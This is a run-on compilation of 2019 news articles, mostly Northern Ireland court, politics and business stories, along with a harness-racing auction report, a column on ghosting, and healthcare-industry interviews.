Atlanta, pictured capturing the 2018 Kentucky Filly Futurity

When asked for comment, Zeron told Trot Insider the upcoming February stakes payment deadline was a factor in the decision to send Atlanta to auction, which offers prospective buyers the chance of a lifetime.

As of yesterday (Feb. 12) we couldnt agree on a price, and, due to February 15 being stakes payments, the only way to have her eligible to all the stakes was to sell, Zeron told Trot Insider. The owners agreed to buy her back at a certain price, but if she brings the type of interest I think she should then anyone can have her.

Zeron went on to say that the auction site (ongait.com) is a global platform and the fact that a Hambletonian winner that is still in her prime is available for purchase is a once in a lifetime opportunity.

(With files from harnessracing.com)Roads were closed near Newry after suspicious object found.

A "crude device" prompted a security alert after it was discovered in rural Co Down.

Several roads were closed at the scene near Newry on Tuesday afternoon after a suspicious object was found.

Police Service Northern Ireland announced early on Wednesday that the object had been dealt with.

"The Commons School Road in Newry has reopened following an earlier security alert," the force said.

"An object, described as a crude device, has been deactivated."Queen's University Belfast has defended plans to enter into a partnership agreement with a Saudi Arabian university.

Following year-long discussions, five Queen's academics will provide training to staff at Princess Nourah Bint Abdulraham University (PNU).

PNU is the world's largest women-only college, based in Riyadh, with around 60,000 students.

However Amnesty International NI director Patrick Corrigan says Queen's has questions to answer given Saudi Arabia's appalling human rights record, including cracking down on women's rights.

Mr Corrigan told the BBC: "We're talking about a government which indiscriminately bombs civilian targets in Yemen, imprisons and tortures human rights activists at home, and indeed apparently has murdered a journalist within its own consulate.

"So there are severe human rights issues and reputational issues at play for Queen's.

"We need to be wary of this idea that there are winds of change blowing through Saudi Arabia, and playing into the hands of a government which is still brutally repressing and silencing its critics."

But Queen's said the institution "rigorously evaluates and reviews all potential and existing partnerships on an ongoing basis to ensure they reflect the university's commitment to having a positive impact on global society".

"The university has been in discussions with Princess Nourah Bint Abdulraham University for over a year regarding the potential delivery of a PhD foundation programme for the benefit of female staff members at PNU," it said.

"The university believes that this potential partnership would help to support the progression of women in the Kingdom of Saudi Arabia and therefore have a positive societal impact, with the possibility of a number of students from PNU enrolling at Queen's in the future."A PSNI spokesperson said a "significant amount" of cash was also seized during the operation.

A man arrested in Co Tyrone as part of an investigation into dissident republican activity has been released.

The 46-year-old was arrested on Wednesday afternoon on suspicion of being in possession of criminal property following searches in the Strabane area.

A PSNI spokesperson said a "significant amount" of cash was also seized during the operation.

He was released on police bail pending further investigation.A speech in Belfast by the leader of far-right group Britain First was aimed at stirring up fear and hatred towards Muslims in Northern Ireland, a court has heard.

Prosecutors claimed Paul Golding went beyond criticising aspects of a religion at a rally outside City Hall where he spoke about "colonisation and Islamification by the back door".

Golding, 37, and his one-time deputy leader Jayda Fransen, 32, are among four people on trial over their addresses to the "Northern Ireland Against Terrorism" event in August 2017.

They are accused of using threatening, abusive or insulting words intended to stir up hatred or arouse fear.

Similar charges have also been brought against 61-year-old John Banks, of Acacia Road in Doncaster, south Yorkshire, and Paul Rimmer, 56, of Modred Street in Liverpool.

All four accused deny the allegations against them.

Defence lawyers argued that they are entitled to freedom of expression - no matter how offensive their speeches may be.

Belfast Magistrates' Court was shown footage of the addresses given by each of the accused at the event.

Demonstrators had gathered on the same day as a republican march organised to mark the use of internment without trial by the British Army at the height of the Troubles in 1971.

Golding allegedly referred to a mosque in Newtownards as part of his claims about Islam's colonisation.

During his speech he said: "We have got a problem with one religion and one religion only, that is Islam."

The court heard Fransen told those gathered there was no moderate version of Islam, and stated: "These people are baying for our blood."

Crown lawyer Robin Steer drew a distinction between the contents of their speeches and a claim once made by former Democratic Unionist Party leader Ian Paisley that the Pope was "the antichrist".

He contended: "It's not the same as saying all Catholics should be killed or all Catholics are involved in a war against you."

Mr Steer added: "The prosecution say this is nothing to do with either religion or terrorism, that it's simply stirring up hatred and fear against a particular section of the community in Northern Ireland - Muslims."

None of the four defendants gave evidence at the contested hearing.

But Mark Farrell, representing Golding and Fransen, claimed they should be free to express reasonably held beliefs.

"There's no doubt that what was said by my two clients could be offensive, it could be hurtful and it could be gravely insulting to members of a particular religious grouping, but that's not the point," he told the court.

"The point is our democracy allows for people to express strongly held views on various matters, including religion, in a way that stimulates and starts debate."

Mr Farrell insisted it had been an organised political rally involving speeches to "a group of like-minded individuals".

With further defence submissions to be made, District Judge George Conner indicated he was likely to reserve his verdict in the case.Bertie Ahern, former Taoiseach, giving evidence to the Exiting the European Union Committee in the House of Commons in London. Photo credit: House of Commons/PA Wire.

Former Taoiseach Bertie Ahern has said that Northern Ireland is not the same as the rest of the UK and should not be treated as such in Brexit negotiations.

Mr Ahern was speaking while giving evidence before Westminster's Exiting the European Union Committee on Wednesday morning.

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The former Fianna Fail leader was one of the signatories of the Good Friday Agreement and told the committee that the agreement meant Northern Ireland could not be treated the same as the rest of the UK.

Mr Ahern said that Belfast was not the same as Finchley and took aim at MPs who had suggested it.

"The Good Friday Agreement resolved the constitutional issue in Northern Ireland on the basis of consent," he told the committee.

"Sometimes when I hear people, including some distinguished members of Parliament, talking loudly over the past few years of no basis for any divergence of any kind between Northern Ireland and the rest of the UK, I look to wondering if I'd turned into Rip Van Winkle, the great man from the legend who fell asleep for 20 years and woke up and found everything changed."

The ex-Irish leader said that the Good Friday Agreement recognised the difference between Northern Ireland and the rest of the UK.

"The reality is when I changed the constitutional position of Articles 2 and 3 (the Republic of Ireland's claim to Northern Ireland), I said there was a difference between Dublin and Belfast. I also said there was a difference between Belfast and Finchley.

"The argument that the UK, Northern Ireland, is precisely the same as Finchley is incorrect. It's constitutionally incorrect as per the Good Friday Agreement.

"I think people need to understand that."

Mr Ahern said that the Good Friday Agreement was not a "winner takes all scenario".

He told the committee that in the end "majority will rule", but that parity of esteem was key to the agreement and that both communities must be treated equally.

Bringing a border poll into the middle of this, in my view, is irresponsible. Bertie Ahern

Mr Ahern said that Brexit had brought the issue of a border poll "back into focus" but said he felt strongly that having a border poll in the foreseeable future would be "irresponsible".

"Until the institutions in Northern Ireland are properly set up again and functioning for a prolonged period it would be the wrong thing to do," the former Taoiseach said.

"What I want to see is the Brexit issue dealt with, then the effort to reengage the parties on all sides to get the institutions up and running.

"Bringing a border poll into the middle of this, in my view, is irresponsible."

Mr Ahern said that he believed Brexit was stopping the return of the Stormont Assembly.

The former Taoiseach laughed off suggestions that the Republic of Ireland might be willing to rejoin the UK.

When asked how people in Ireland would take the invitation, "not very well," Mr Ahern replied.The Secretary of State has been accused of "fiddling while Rome burns" for seeking greater public appointment powers in the absence of an Executive.

Karen Bradley has put regulations before Parliament which would allow her to make appointments, including that of Northern Ireland Attorney General.

But former NI Commissioner for Public Appointments Felicity Huston told the BBC Mrs Bradley had a "moral and constitutional duty to start running the country".

Ms Huston said: "It will be seen as a bit of 'fiddling while Rome burns', not hard government.

"A few decisions about a few public appointments is not what people need: they need serious stuff or an Assembly back.

"People will not understand why she's doing these things, public appointments are not complex.

"This is not hard government she has taken on."

The power to appoint the Attorney General lies with the First and Deputy First Ministers under devolution, and John Larkin's contract is due to expire in May. When approved by Parliament, the regulations will allow Mrs Bradley to reappoint an Attorney General, Children and Young People's Commissioner, as well as members of the Victims and Survivors Commission.

TUV leader Jim Allister said Ms Huston's criticisms "are more than justified".

He said: "The first duty of government is to govern. The clue is in the name. Yet, under Karen Bradley's rudderless tenure of Hillsborough Castle we have seen nothing but inaction and platitudes about restoring a system of failure."

Mr Allister said it was obvious that Stormont was not returning soon. "So, after two years, it is time for the appointment of British ministers and the taking of necessary decisions. It is time we were governed," he said.

"A question of pride in not wanting to admit the failure of Belfast Agreement devolution is no excuse for leaving the people of this part of the UK bereft of government. Get on with it Mrs Bradley."

The NIO said restoring devolution remained an absolute priority for the Secretary of State.A man accused of threatening to kill a judge and storing an "arsenal" of knives and axes at his east Belfast home must remain in custody, the High Court ruled today.

Carl Stirling, 25, was refused bail amid claims he also had Nazi memorabilia, loyalist paramilitary flags and a shrine to notorious double police murderer Dale Cregan.

Prosecutors further alleged he outlined plans to point a fake gun at any officers who arrived his house in a bid to provoke them into shooting him dead - a phenomenon referred to as "suicide by cop".

Stirling, of Holland Drive in the city, faces charges of threats to kill and threats to damage his own home, possession of imitation firearms, communicating false information about a bomb, and disorderly behaviour.

Denying bail, Lord Justice Deeny described the material recovered from his property on December 18 last year as "terribly worrying".

He said: "There's literally an arsenal of knives of various kinds, clearly not of a domestic kind, but knives that look extremely lethal and dangerous."

Stirling had allegedly been irate and upset while on the phone with a tenancy support worker, telling him he had been up all night drinking and was due in court on a separate case the next day.

According to the prosecution he believed he was going to jail and stated that he was going to kill the judge in open court to ensure his incarceration.

During a further phone conversation Stirling repeated the threat and warned the support worker that if police were contacted he would detonate explosives made out of gas canisters, it was contended.

Stirling went on to claim he had attacked and threatened two Chinese nationals outside court - although no such incident has been reported.

He was then arrested amid an alleged bout of disorderly behaviour at Connswater Carpark on Bloomfield Avenue.

Police searches at his home uncovered flags and images linked to paramilitary organisations and books about serial killers, the court heard.

Crown lawyer Conor Maguire said: "There were dozens of knives all over the house and multiple axes, including one with the words 'The Wife' written on it."

A hammer was embedded in one of the walls of the property, while an imitation AK47-type gun and martial arts nunchucks were also located.

Police found Nazi memorabilia and a framed photograph of Dale Cregan.

Cregan is serving a life sentence for four murders, including Greater Manchester police officers Fiona Bone and Nicola Hughes, and father and son David and Mark Short.

According to Mr Maguire a crude improvised device made out a spray can and fireworks was recovered too.

Stirling mounted a new bid to be released based on the contents of a psychiatric report.

Defence counsel Richard McConkey described the material found at his client's home as "bizarre".

He argued, however, there was no evidence the accused had even showed up at court to threaten any judge.

"This is absolute nonsense being talked by Mr Stirling on the phone," Mr McConkey added.

But Lord Justice Deeny identified a "fairly alarming range of weapons" being kept at the house, together with alleged evidence of "an interest in shootings and psychopaths".

Dismissing the bail application, he cited the need to ensure public protection.Stephen Fingleton was cleared after a trial of sexually assaulting an actress (PA)

A Bafta-nominated director has been cleared of sexually assaulting an actress in her west London flat.

Stephen Fingleton, 35, from Enniskillen, Northern Ireland, wept in the dock as he was found not guilty of attacking the woman after they had lunch on October 27, 2017.

He looked at the jury and said thank-you as the verdict was delivered.

The woman, who cannot be named for legal reasons, had claimed the director pulled her head towards his crotch as she hung washing.

A jury of six men and six women at Isleworth Crown Court found Mr Fingleton not guilty of one count of sexual assault after deliberating for eight hours and six minutes.

At the time of the allegation I was attached to an American film that was to shoot the next year. That was with well-known actors, it was kind of a turning point. It's gone now.Stephen Fingleton

The trial previously heard the woman had made up an untrue Harvey Weinstein-type allegation.

The pair had arranged the lunch after exchanging numbers at a British Film Industry event.

Mr Fingletons barrister Orla Day told the trial the woman lied about the attack after becoming upset that he did not like a film she made.

In cross-examination, Ms Day said the woman hoped showing Mr Fingleton the film would help you on your way to becoming famous.

She added: Instead he effectively told you that he didnt think very much of your film and he wasnt interested in working with you.

Were you concerned that your meeting had been a total disaster and you had embarrassed yourself?

Did you decide in the heat of the moment to make an untrue Harvey Weinstein-type allegation against him?

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You know full well that the allegations you have made against him are lies.

Giving evidence to the jury, Mr Fingleton said the decision to meet the woman alone was terrible.

He said the allegation came at a time when he was on the point of becoming successful but caused him to lose his attachment to an American film.

Mr Fingleton said: I would say I had some success but I was not well known.

I was on the point of becoming successful. At the time of the allegation I was attached to an American film that was to shoot the next year.

That was with well-known actors, it was kind of a turning point. Its gone now.House-hunting is a fraught business. It's not only a question of finding a house you like that's within your budget - and, if you're a couple, you both have to like it - but then there's getting the report on its soundness from your architect or surveyor. And let's face it, they are a cautious bunch, rarely giving their wholehearted approval, particularly if there are renovation works involved.

It was this very cautious approach that Tim Andrew was relying on when his wife Mairead spotted the house of her dreams.

It was a huge old farmhouse, with an unwieldy extension and a massive barn - all in terrible condition, Tim felt it was too ambitious a project for himself and Mairead to get stuck into, particularly with twin babies on their hands. So he relied on their architect John Lavery to give it the thumbs-down.

Sadly, or so it seemed at the time, the architect gave it a resounding thumbs-up. "He looked at it for a long time and then he turned around and said: 'I'm sorry, Tim, I see nothing wrong. We could do a great job here'," Tim recalls with a laugh.

In fairness to Tim, he knew when he was beaten, so he and Mairead undertook the project and gave it their all, and, as a result, they have a stunning home.

The genial couple have a lot in common when it comes to their priorities around family life and their home, though there is an age gap, and they come from very different backgrounds in Northern Ireland.

Tim is from the country; he grew up in the pretty coastal village of Whitehead in Co Antrim, where his father, who was originally a baker, had a business supplying baking ingredients to the trade.

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"My father was a baker in England, but his mother was from Larne. At the end of the war he met my mother, who was a cake decorator, and they came over here. He had a company selling everything a baker (would need) to make bread and cakes."

After finishing school Tim felt there was no room in his dad's small company, as his much older brother already worked there, but he took a summer job in the storeroom with the intention of staying two weeks. "It was very physical work, we didn't even have a forklift truck then," Tim muses, adding: "That led to me filling in for someone else, and then someone else. I just stayed. I was never given a title or a role, I just did what was needed."

In 1979 Tim's father died, and in 1998, when his brother decided to retire, Tim bought him out.

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In 2015 the company, Andrew Ingredients, celebrated 70 years in business, and Tim, now MD, is proud that he has expanded the already extensive range of baking ingredients he sells to include the many gluten-free and vegan products needed to satisfy current tastes. As well as selling to bakeries, Tim now also sells his products to hotels and restaurants. The warehouses, now in Lisburn, have increased from 8,000 square feet to 33,000, and the workforce has increased from eight employees in the early days to 30 now. The workforce includes his daughter Clare from his first marriage, who looks after marketing. His second daughter Susan is a midwife.

Mairead grew up in west Belfast; the daughter of a single mother, Mairead is one of four girls. "There were bullet holes in our house," she says. "My uncle used to live in the house and the IRA came to take away his car. They wanted it for a job, but he said no, and they sprayed the house with bullets.

"He had to move out. We moved in. My mother wasn't nervous about moving in there; she was a strong woman, and said it would be bad publicity for anyone to attack a single mother with four daughters."

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Mairead, who went on to train as a primary teacher, and then got a Master's in information systems and computers, says she wasn't academic in her teens, but she got hugely into sport.

"I went to school on the Falls Road," Mairead says. "I got into outdoor pursuits - they were great, they took me away from everything going on on the Falls, although it was a lovely community with lovely people; a few bad people caused the grief." Mairead found she had a talent for rowing and sailing, and she went on to sail across the Atlantic many times as part of the voluntary crew on the Ocean Youth club sailing boat, taking interested teenagers on the trip.

It was through sailing that she and Tim first met in 1989. He had sailed all his life, and they met while both were part of a crew sailing across the Atlantic. At that stage they just became friends, but it blossomed into something more in the mid-1990s and they married in 1998.

"It was an interesting time. Mairead had lost her sister to cancer the year before, and then she finished her degree in 1997," says Tim. "Around the same time I bought my brother out. The legal details were going on forever and then I said: 'We have three weeks before the legals will be resolved, why don't we go to the Caribbean and get married?'

"Our travel agent initially thought we were planning for the following year, but when she realised we meant right now, she pulled it off. So we went to Barbados, we had a Baptist minister and we got married there and then. It was lovely."

Mairead felt one needed to be jolly for primary teaching, but after her sister died, jolly was the last thing she felt, so she did the Master's in IT instead. Her Master's project was designing the computer systems and the website for Tim's company. She then went on to work in IT.

She took time out to look after the twins when they arrived, and while she's a director of the Andrew company, she only works now when the children are at school. Their arrival 15 years after the couple married was a surprise - though there was always a chance of twins, as twins run in Mairead's family and she herself is a twin.

It was because of the arrival of the twins Ronan and Jamie, now five, that they decided they needed to move house. "We lived in Annacloy, a small farming village. It's a lovely wee place and we had lovely neighbours. The house was just right for the two of us.

"When we had the twins, we thought should we expand or find somewhere else," Mairead says. "I used to work in Belfast and I drove past this house every day on my way home from work. I particularly noticed it because it had a weather vane and big clock that caught my eye. It was a nice big house."

Tim takes up the tale: "It had been for sale for three years. It was too big and too dear. Then it changed agents and the price came down, and we said: 'Let's look at it to rule it out'. When we came to see it, it was a mess - the kitchen had been taken out; all the electrics and plumbing had big signs saying 'Do not use'; there were dead birds everywhere; there was grass growing out of the gutters. It was not inviting. There was nothing appealing about it at all," Tim says.

However, Mairead was smitten. "I saw potential, but I think I was a little bit green as well. I knew we could make it look good, but I had no idea of the amount of work involved."

That was probably just as well. They bought it in 2015, but didn't move in until 2017. The first year they devoted to planning what they'd do with the space, right down to the door handles and the hinges.

In consultation with architect John Lavery, they eventually decided to gut the buildings and to create a new home out of the combination of the old house, which was a traditional 19th-Century farmhouse; the existing extension, and the barn, making them all part of the same house. They had to gut all the buildings, retaining period features like cornicing where possible, and install new wiring, new plumbing, new floors, doors and windows.

They had to fit a new staircase to the front of the house, and they had to raise the staircase in the back.

They filled the whole house with light, with double-heights in some areas and many expanses of glass - the huge kitchen has three sets of sliding glass doors; there are marvellous electric skylights in some rooms and an indoor, glass-filled balcony.

What they have now is a home comprising more than 5,000 square feet, with six bedrooms, all en suite; an open-plan kitchen/dining/living room; a formal dining room; a formal living room; a tv room; and a playroom with an en suite - this room could be converted for Mairead's mum, should she want to live with them in the future.

It's also on a wonderful site, five acres of gorgeous countryside, much of which they've planted - they've added 1,000 trees. In fairness to Mairead, she does know both her and Tim's limitations. "We put fake hedging to the front. I know us - we would never prune it, never mind weed it," says Mairead.

With their busy working lives, it's obvious they've a lot of ingredients on their plates already.

See andrewingredients.ieThe harness racing industry has the extremely rare opportunity to purchase one of the few fillies to capture the prestigious Hambletonian.

Hambletonian champion Atlanta, the first filly to capture the Hambletonian in 22 years with her 2018 victory, won eight races and more than $1 million this past season. The daughter of Chapter Seven - Hemi Blue Chip never finished worse than third as a sophomore, and along with her coveted victory in the Hambo added wins in the Kentucky Filly Futurity, her Breeders Crown elimination, Empire Breeders Classic elimination and final and two New York Sires Stakes events to her resume. Atlanta will receive the Dan Patch Award as 2018's Three-Year-Old Trotting Filly of the Year in the U.S on Sunday, February 24.

Atlanta was listed on OnGait on Tuesday night (February 12) with a starting bid of $500,000. The now four-year-old is entered in an online auction with bids closing Friday, February 15 at 1:00 p.m.

According to the listing, Atlanta is "selling to the highest bidder due to a true partnership dispute" with current owners listed as Rick Zeron, Crawford Farms, Holland Racing Stable, Howard Taylor and Brad Grant.

On January 9, the Alcohol and Gaming Commission of Ontario (AGCO) issued Zeron a fine of $10,000 and suspension of 180 days, which he has since appealed.

"After a well-deserved vacation, she is back jogging at Sunshine Meadows in South Florida as she prepares for her 2019 campaign," the owner's statement on Atlanta continued. "Staked to the world."Ghosting. If you haven't heard of it, where have you been? If you haven't experienced it, then lucky you. Ghosting is one of the worst things to come out of the digital age.

It refers to the habit of breaking up with someone without telling them you've done so. It's about abruptly terminating communication without so much as a "Dear John" text, leaving your former beloved, or even just a former friend, wondering if your phone was stolen, if you lost your texting thumb in an industrial accident, or if you're actually dead.

And it's rife. A recent poll by PlentyOfFish discovered that some 78% of their respondents had been ghosted. Apparently it happens to the best of us - or at least the most famous of us - too.

Mariah Carey was ghosted by Eminem (I had no idea they even went out). Leonardo di Caprio was ghosted by Blake Lively. Sean Penn was ghosted by Charlize Theron.

Even lovely Taylor Swift got a dose of the treatment from actor Jake Gyllenhaal, who, in particularly dastardly fashion, let her know their relationship was over by simply failing to attend her 21st birthday party. Now that is nasty. Though at least Taylor got a song out of it. The Moment I Knew covers her cruel humiliation in musical detail.

The term "ghosting" first came to popular attention in 2011, but of course the concept isn't new. Back in the old days, before mobile phones and social media, people stopped responding to love letters or didn't answer their landlines. It was harsh, but unless you lived near your ex or had mutual friends to tell you otherwise, if you were ghosted in the 1970s, or even the early Noughties, at least you could convince yourself that something awful had happened and leave it at that.

Social media undoubtedly makes moving on more difficult. You know your ghost isn't dead because they're still liking your friends' posts on Facebook and Instagram, still retweeting bad jokes on Twitter, and when you open Viber, it helpfully lets you know they were last seen ignoring you just 20 minutes ago.

Why do people ghost? Of course, confrontation is difficult and nobody wants to have an argument by delivering the news face-to-face that it's over.

Ghosting is one surefire way to avoid that. And perhaps people are less inclined to be decent now that the nature of dating in the digital age gives the impression that someone better may be just a right swipe away.

There is some good news for victims of this disappearing trick, however. Saudi Arabia, that bastion of sexual equality and women's rights, has taken a bold step into the 21st century by moving to make one particularly pernicious form of ghosting illegal. They're making it law that men inform their wives they've divorced them by text.

Let's make that clear. We're not talking about making Saudi men tell their wives that they would like a divorce by text (as Russell Brand allegedly did to Katy Perry before turning his phone off and never speaking to her again). We're talking about compelling Saudi men to inform their wives that the divorce is a done deal.

Though it sounds brutal, this is actually a slight improvement on the previous system, which didn't require Saudi husbands to inform their wives they'd divorced them at all.

This resulted in many women going around (or not going around, since they weren't allowed out of the house) completely unaware that they were suddenly single until it was much to late to file for alimony or custody of the children.

In a statement on its website, the Saudi Ministry of Justice hailed the move as "a step aimed at protecting the rights of female clients". The divorce text messages will include a divorce certificate number and details of the court where the unhappy divorcee can pick up that certificate.

The move is part of a series of social reforms known as Vision 2030, which include giving Saudi women the right to drive. Very useful if you suddenly discover you need to pick up a divorce certificate from the other side of town. Saudi women will also now be able to check their marital status on the ministry's website, to save having to ask their actual spouse if it's worth buying an anniversary card.

Maybe some Silicon Valley whizz could think about setting up a site where the ghosted of less draconian regimes could check their relationship status too.

A site where ghosts could confirm they're alive but disinterested without the horror of personal contact. Ghostbook?

The site could also send out Saudi-style texts. "We are sorry to inform you that you've been dumped by someone who doesn't respect you enough to tell you face to face. Pick up your things from the following parcel drop-off point." Yes, ghosting is cruel and cowardly, but perhaps there are some situations in which ghosting is absolutely justified.

For every person who has felt let down by the sudden disappearance of a potential date, there's someone who's been on the receiving end of texts or calls they really didn't want in response to a decent attempt to break up.

Women in particular have been traditionally socialised to be kind with other people's feelings and to let them down gently, but that doesn't always work. A polite refusal gets a rebuttal and then another and another and another.

With the rise of the Incel movement, with its "heroes" such as Californian Elliot Rodger, who killed six people in May 2014 in "revenge" at having never been kissed, let alone lost his virginity, rejecting romantic overtures has never seemed so dangerous.

As Emily Kellogg writes in flare.com: "Something that's been missed in the cultural conversation about ghosting is that it can feel like the safer option for women dealing with men who won't take 'no' for an answer. Sometimes, we have to trust our instincts: if someone has made us feel unsafe by crossing our boundaries or refusing to accept our rejections, ghosting is our only choice."

There's nothing cowardly about disengaging from a bully. And of course, bullies and stalkers come in all genders.

Jacqueline Ades of Phoenix, Arizona, was accused of sending 159,000 texts to a man after one unsuccessful date. When arrested, she is alleged to have said: "I can't believe I scared him." I don't think anyone could blame the object of her affections for changing his number.

Still, at the less extreme end of the dating spectrum, it's hard not to take being ghosted personally.

You could, however, consider it a bullet dodged. Often the complaint of the ghosted is that they lack closure, but ghosting gives you perfect closure. They're not interested and they're inconsiderate. You should not waste another moment thinking about them.

After all, is there any advantage to forcing someone who is prepared to ghost you into a face-to-face encounter where they tell you that it was really the way you lick your knife/smell of cat pee that did for your budding romance? Especially if you only went out once.

Christine Manby has written numerous novels, including The Worst Case Scenario Cookery ClubTayto Group chief executive Paul Allen has left the crisps and snacks giant after 17 years at the top, the Belfast Telegraph can reveal.

Mr Allen led the Tandragee-based firm over a period of rapid expansion, starting with the 2006 purchase of rival Golden Wonder and in more recent years, popcorn businesses and vending companies.

This week the company announced a joint venture to make healthy snacks like coconut clusters with Bite UK.

Tayto Group, along with affiliated business Montagu Group, is expected to report combined sales of just under 250m.

It's now the biggest indigeneously-owned crisps and snacks manufacturer in the UK.

Director Stephen Hutchinson - a member of the family which owns Tayto - said: "We are sorry to see Paul leave. In the time he has been with us, he has led the company's growth and expansion, and his dedication and commitment to the Tayto brand has been unparalleled.

"We understand and support Paul's decision to further his own career in other areas and he remains a firm friend of Tayto.

"He is a businessman of vision and entrepreneurial flair and we shall miss him greatly."

Mr Allen said: "I have always been extremely proud to be part of the iconic brand that is Tayto and have considered it a privilege to contribute in some small way to its growth over the years. It will always hold a special place in my heart.

"I'm now looking forward to taking on new challenges. My business interest has always been in working to develop and expand companies, to build security into them and to make them into long-term assets, and I look forward to doing more of that in the future, both in NI and further afield."

One possibility for Mr Allen is that he will focus on the Genesis Crafty baked goods firm which he acquired last year after it went into administration owing around 4m to creditors. Mr Allen acquired Genesis Crafty through his company Hatch Bros for 1.8m.

Recruitment specialist Neal Lucas, who specialises in executive search, said Mr Allen's would be "hard shoes to fill".

"He has delivered unparalleled growth for the Tayto Group and deserves a huge amount of respect for what he has contributed to Northern Ireland," he said.

"A leader's success must be judged, in part, by how smooth the transition to their replacement is and if the business can continue with another person in the driving seat.

"I would be surprised if someone of the calibre of Paul Allen has not laid down solid foundations for this to happen."

He said Mr Allen will be in high demand as a non-executive or even as a mentor to business leaders here and further afield.Irish fast food chain Four Star Pizza has said it plans to open 10 more stores this year.

The company, which has 55 outlets, including 14 in Northern Ireland, has reported an 8% rise in revenue, largely driven by a 31% spike in online sales.

Last year saw the company invest around 1m internally, creating 100 jobs in six new stores.

The pizza chain has said it wants a portfolio of 65 branches across the island by the end of 2019, with a potential move into the Great Britain market on the cards.

Four Star opened its first Northern Ireland outlet on Belfast's Beersbridge Road in 1999.

In the 20 years since, it has added stores in Bangor, Carrickfergus, Newry, Drumahoe, Derry, Armagh, Newtownabbey, Coleraine and, most recently, Lisburn, which opened its doors in December last year.

Company director Brian Clarke said the development of its online system, making it easier for customers to order food, had played a considerable role in last year year's growth.

"This year we plan to grow our store network further in both Northern Ireland and the Republic and our target is to have a total of 65 outlets on the island by the end of 2019, creating up to an additional 200 new jobs," he said.

"While we continue to grow in Ireland, we are aware that there is a capacity ceiling here, with every franchise having its own dedicated delivery territory as part of its contract.

"This protects our franchisees by ensuring that we don't open another Four Star Pizza store just down the road from them," he added.

"With this in mind, we have our eyes on the GB market and are actively looking at plans to expand our operations across the Irish Sea.

"In the meantime, however, we are focused on expanding the brand outside its core markets of Belfast, Dublin and Cork, which have pretty much reached saturation point," said the Four Star Pizza director.Raymond Gardocki, MD, a surgeon at Memphis, Tenn.-based Campbell Clinic Orthopedics, discusses spine technology trends for the future.

Question: What emerging technology or technique do you think will have the biggest impact on the spine field five years from now? And where do you see the biggest room for innovation in spine?

Dr. Raymond Gardocki: Endoscopic spine surgery is going to have the largest impact on the spine field five years from now. It's in this field that we also see the greatest room for innovation, as it is still a relatively new procedure.

Endoscopic spine surgery has many benefits, including smaller incisions, that the surgery can be performed in an outpatient setting under local anesthesia, lower infection rates and reduced need for opioids or other pain medication. Patients typically walk on the day of their surgery (as soon as they are awake and their anesthesia has worn off), report less pain when walking and typically spend no more than a few hours in the outpatient center before returning home. On Feb. 6, Campbell Clinic performed its 100th endoscopic spine surgery.

To participate in future Becker's Q&As, contact Laura Dyrda at ldyrda@beckershealthcare.com.

For a deeper dive into the future of spine, attend the Becker's 17th Annual Future of Spine + Spine, Orthopedic & Pain Management-Driven ASC in Chicago, June 13-5, 2019. Click here to learn more and register.NewYork-Presbyterian Hospital in New York City kicked off 2019 with a significant milestone: its 100,000th virtual visit.

NewYork-Presbyterian boasts an extensive virtual care program, comprising remote specialty care, urgent care and direct-to-consumer services, among other efforts. These services ramped up fairly quickly, according to NewYork-Presbyterian Group Senior Vice President and CIO Daniel J. Barchi, who said that the health system began "seriously investing" in its virtual care program in 2016.

"We see telehealth as being part of a coordinated care model that goes beyond urgent care for our patients," Mr. Barchi told Becker's Hospital Review in an interview. "Virtual platforms will become the first point of care for many patients, and I think provider organizations have to be prepared for a future that is dominated by virtual encounters."

Becker's Hospital Review caught up with Mr. Barchi to discuss how NewYork-Presbyterian has built up its telehealth program, from its first virtual visit to today.

Editor's note: Responses have been lightly edited for length and clarity.

Question: I'd love to take a step back and reflect on the hospital's telehealth efforts. When did you first roll out virtual visits? What specialty did you start with?

Daniel Barchi: We began seriously investing in telehealth in 2016, providing digital second opinions and developing virtual care options in the emergency department to reduce crowding and improve efficiency. Within a few weeks, we had installed video equipment in a nearby physician department to create NYP OnDemand Express Care, a convenient, fast-track option for patients with less serious conditions. ExpressCare patients are given the choice to wait, sometimes for over two hours, for a provider or to have a virtual visit in a private room with an emergency medicine physician in under 30 minutes. Telehealth at NYP grew from there  today, our programs encompass specialty care, direct-to-consumer telehealth, remote patient monitoring, virtual medication reconciliation and several other areas.

Q: What's an unexpected challenge you faced while building up NYP's telehealth efforts?

DB: Redesigning clinical workflows to accommodate telehealth. It is inefficient for a provider to see one patient in person, go into a private office to see a virtual patient and then go back to the floors to see a third patient. Instead, we have encouraged providers to create telehealth blocks in their schedule to see patients virtually, while ensuring our devices complement existing processes. We developed telehealth-specific care protocols to transition providers from diagnosing based on the physical exam to diagnosing virtually. This strategy has facilitated adoption and can be tailored to specific clinical sites across the enterprise. Our hope is that the dual forces of telehealth integration and increasing patient demand will minimize the challenges associated with launching new programs.

Q: How did you gain clinician buy-in for your telehealth programs? What about patient engagement?

DB: Clinician buy-in has been critical to our success  we have tried to make our programs as accessible to physicians as possible. We spend a lot of time thinking about how to fit telehealth into their workflow, making the convenience and efficiency of telehealth apparent, and compensating them effectively for their engagement. That being said, our telehealth efforts are ultimately patient-centered. Providing education to clearly convey the value of a virtual visit has been an important engagement strategy, and satisfaction with the visits has been high. I think it comes down to recognizing who our customer is and what they need. Our enterprisewide telehealth strategy aims to give all our patients a convenient and accessible way to make use of our services, whether through their phone, in-person at a kiosk, with a device sending information back to their physician, or during their visit at one of our facilities. Patients become engaged when they see how our service can make their life easier.

Q: Some have suggested 2019 is the year telehealth will become ubiquitous. Do you agree? If so, what do you think was the tipping point?

DB: I think telehealth today is a mile wide and an inch deep. It holds promise for transforming care delivery, particularly as consumers become more engaged and empowered in their care. I think we hit a tipping point with the fundamental recognition that the patient now has the ability to initiate care virtually  freeing them from the traditional brick-and-mortar care destinations has turned care delivery on its head. I also think that changing regulations and new payment models will enable telehealth in new ways, making limited reimbursement less of an issue.

Q: What advice would you give to hospital CIOs just starting on their telehealth journey? What's the first step to building up a successful program?

DB: My advice would be to be strategic and ambitious in choosing services and partners for your program. At NYP, we took an aggressive approach to implementing telehealth enterprisewide because we truly believe it holds promise for moving healthcare from a confusing, difficult-to-navigate environment to a consumer-oriented experience. I would advise that others think about how to get promising applications to telehealth to scale. At NYP, we firmly uphold the notion that the success of telehealth is 80 percent people, 15 percent process and only 5 percent technology. For CIOs that are just starting on this journey, focusing on the people  physicians, operators and patients  who will need to come together for telehealth to reach its potential will guide the process and remain a strong foundation for success.A nurse-scientist at Palo Alto, Calif.-based Lucile Packard Children's Hospital Stanford is using her experience as a pediatric oncology nurse to examine how teens and young adults with cancer make decisions.

